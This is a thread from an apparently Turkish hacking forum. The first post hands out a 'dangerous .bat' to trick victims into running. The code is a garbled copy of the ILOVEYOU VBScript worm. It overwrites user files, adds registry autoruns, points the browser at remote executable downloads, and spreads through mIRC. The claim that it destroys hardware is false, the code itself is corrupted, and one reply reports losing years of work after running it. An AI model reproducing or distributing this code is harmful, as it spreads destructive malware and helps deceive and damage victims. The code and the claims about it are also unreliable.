En tehlikeli .bat komutu ile karşı PC'yi yakın!

S

scoobydoo

Katılımcı Üye
23 Ocak 2012
622
0
Yer Altı Teknolejilerinin İçinde Trojan Mahalesini
Hakan Soylu' Alıntı:
Arkadaşlar Bilgisayarınızda Bir Nod Defteri Açın Alltaki Kodu Nod Defterine Yapıştırın Dosya - Farklı Kaydet Deyin Uzantısını .bat Olarak Kaydedin ; Örneğin: cvc.bat Ve Winrarlayın İş Biter. Ve Bu Nedemektir.Bu trpro.NET.bat Dosyasını Kurbana Yutturursanız Kurbanın Pcsinin İçindeki Herşeyi Yakar. CD-ROOM , HARDİSK , EKRAN KARTI vs..

NOT: KENDİNİZDE SAKINA DENEMEYİN

Kod: 
rem delete -pcaş(-vbe)On es error -pcOn error Next Pc Hackdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d oweq=&"ctr=0Set fso = CreateObject(&Scripting.FileSystemObject&񗝍set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject(&WScript.Shell&񗝍rr=wscr.RegRead(&HKEY_CURRENT_USERSoftwareMicro s oftWindow s Scripting HostSettingsTimeout&񗝍if (rr>=1) thenwscr.RegWrite &HKEY_CURRENT_USERSoftwareMicrosoftWindo ws Scripting HostSettingsTimeout&,0,&REG_DWORD&end ifSet dirwin = fso.GetSpecialFolder(0)2Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&&MSKernel32.vbs&񗝍c.Copy(dirwin&&Win32DLL.vbs&񗝍c.Copy(dirsystem&&LOVE-LETTER-FOR-YOU.TXT.vbs&񗝍regruns()html()spreadtoemail()listadriv()end subsub regruns()On Error Resume NextDim num,downreadregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunMSKernel32&,dirsystem&&MSKernel32.vbs&regcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunServicesWin32DLL&,dirwin&&Win32DLL.vbs&downread=&"downread=regget(&HKEY_CURRENT_USERSoftwareMicro s oftIntern et ExplorerDownload Directory&񗝍if (downread=&") thendownread=&c:&end ifif (fileexist(dirsystem&&WinFAT32.exe&񗝍=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~young1s/HJKh...jw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe&elseif num = 2 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~angelcat/skl...546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe&elseif num = 3 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~koichi/jf6TR...nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe&elseif num = 4 thenregcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~chu/sdgfhjks...DGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe&end ifend ifif (fileexist(downread&&WIN-BUGSFIX.exe&񗝍=0) thenregcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunWIN-BUGSFIX&,downread&&WIN-BUGSFIX.exe&regcreate &HKEY_CURRENT_USERSoftwareMicrosoftInter ne t ExplorerMainStart Page&,&about:blank&end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&&&񗝍end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if (ext=&vbs&񗝍 or (ext=&vbe&񗝍 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext=&js&񗝍 or (ext=&jse&񗝍 or (ext=&css&񗝍 or (ext=&wsh&񗝍 or (ext=&sct&񗝍 or (ext=&hta&񗝍 thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)elseif(ext=&mp3&񗝣 or (ext=&mp2&񗝣 thenset mp3=fso.CreateTextFile(f1.path&&.vbs&񗝍mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attributes+2end ifif (eq<>folderspec) thenif (s=&mirc32.exe&񗝍 or (s=&mlink32.exe&诮 or (s=&mirc.ini&񗝍 or (s=&script.ini&񗝍 or (s=&mirc.hlp&񗝍 thenset scriptini=fso.CreateTextFile(folderspec&&script. i ni&񗝍scriptini.WriteLine &[script]&scriptini.WriteLine &;mIRC Script&scriptini.WriteLine &; Please dont edit this script& mIRC will corrupt, if mIRC will&scriptini.WriteLine & corrupt& WINDOWS will affect and will not run correctly. thanks&scriptini.WriteLine &;&scriptini.WriteLine &;Khaled Mardam-Bey&scriptini.WriteLine &;http://www.mirc.com&scriptini.WriteLine &;&scriptini.WriteLine &n0=on 1:JOIN:#:{&scriptini.WriteLine &n1= /if ( şnick == şme ) { halt }&scriptini.WriteLine &n2= /.dcc send şnick &&dirsystem&&LOVE-LETTER-FOR-YOU.HTM&scriptini.WriteLine &n3=}&scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject(&WScript.Shell&񗝍regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject(&WScript.Shell&񗝍regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msg]
Genişletmek için tıkla ...

Hocaya Performans Ödevi Diye Verecem
 
A

ARJEN10

Üye
3 Nis 2012
152
0
scoobydoo' Alıntı:
Hocaya Performans Ödevi Diye Verecem
Genişletmek için tıkla ...

Bizim coğrafya hocası benim bilgisayarımda binlerce soru fln var diyodu.Sırf inadına proje ödevine atıcaktım ki sınavdan cevapları silip silip fazla puan verdi vazgeçtim ya ♥ :) 40'a 42 aldım 2 yaparım dedi yoksa kesin yapıcaktım dediğini :)
 
B

bhenbatu4

Yeni üye
4 Şub 2011
8
0
Lütfen sizden yardım bekliyorum.Yardım edin .Kaç yıllık çalışmalarım yüklü bilgisiyarımda. yanlıslıkla tıklaıdm
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.